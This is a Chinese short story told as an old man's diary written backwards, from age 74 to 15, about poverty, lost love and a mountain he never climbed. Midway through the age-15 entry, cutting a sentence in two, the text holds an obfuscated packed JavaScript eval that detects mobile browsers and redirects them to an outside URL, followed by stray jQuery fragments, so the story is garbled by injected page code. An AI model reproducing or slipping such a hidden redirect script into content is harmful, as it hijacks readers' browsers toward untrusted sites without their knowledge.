黑色的皮封已经皲裂了，泛黄的纸页上，蓝色原子笔写下了大大的字迹。


    从后往前，夏目四郎写下了自己的回忆，写下了自己的一生。


    ……


    74岁，事记不住了，他们说我要呆了。


    我老了。我想记点事下来。


    四郎不哭。妈叫我不哭。


    ……


    69岁，花子突然就走了。我亏欠她，为什麽没有补偿她，为什麽没有带她去富士山。


    68岁，花子病了，她说想看富士山。我说等她病好了我就带她去看，但是她一直没好。


    66岁，由乃考上大学了，我想送她去上学。但是车票太贵了，我就没去了。她是个好孩子。


    55岁，我骑车摔了。打钢钉太贵，就没有做手术，我再也不能骑车了。


    49岁，小镇旁边修了一条高速公路。汽车比我骑自行车快很多，原来自行车上不了高速。


    43岁，老三死了。才11岁。


    40岁，我买了一辆自行车，现在天天骑车去工作，很方便。


    32岁，砖厂倒了。家里着急用钱，我到处想办法赚钱。后来去居酒屋当学徒，一个月900円。


    27岁，我跟花子结婚了。我当爸爸了。她是39年的，我说等有钱了带她去看富士山。


    25岁，砖厂太苦了。羽希的家人给她找了门路，去城里做正式工。她叫我一块走。


    我走不了。我没有钱，谁也不认识。


    我写信给她，她说她要结婚了，后来就不联络了。


    23岁，我认识了（字迹不清）羽希。她比我小两岁，很好看。她教我写字。


    22岁，去厂子里干活了。我学得很认真，我是合同工，砖厂条件苦，能拿到钱就行了。等有钱了，就能离开这里了。


    20岁，跟着二伯在渔船上面干活。大海一眼看不到头，等以后有钱了，我要去海对岸看看。


    19岁，妈走了。她一辈子没享受过什麽。我跟哥姐以后就没再联系了。


    15岁，跟朋友约好爬山，谁能爬上那座山，谁以后就能出头


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14940337|160762||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    ，赚大钱。但是第二天我没去。


    我要去割麦子，走不开。


    我割了好多天的稻子。总觉得日子还长着，山就在那里，想以后有空再去爬。


    可是我没有去。


    一辈子都没有。


    明明没有去爬山，怎麽感觉我爬了一辈子的山。


    如果那时候我爬上那座山，是不是就不会留下那麽多遗憾。


    ……


    我想去爬山。


    我想去爬山。


    我想去爬山。


    ……


    稻子都割完了。


    自行车报废了。


    我现在已经自由了。


    孩子都长大了。


    该做的做完了。


    我已经老得像骆驼。


    ……


    我想去爬山。我想去爬山。


    我想去爬山。我想去爬山。


    我想去爬山。我想去爬山。


    ……


    ……


    我爬上了那座山。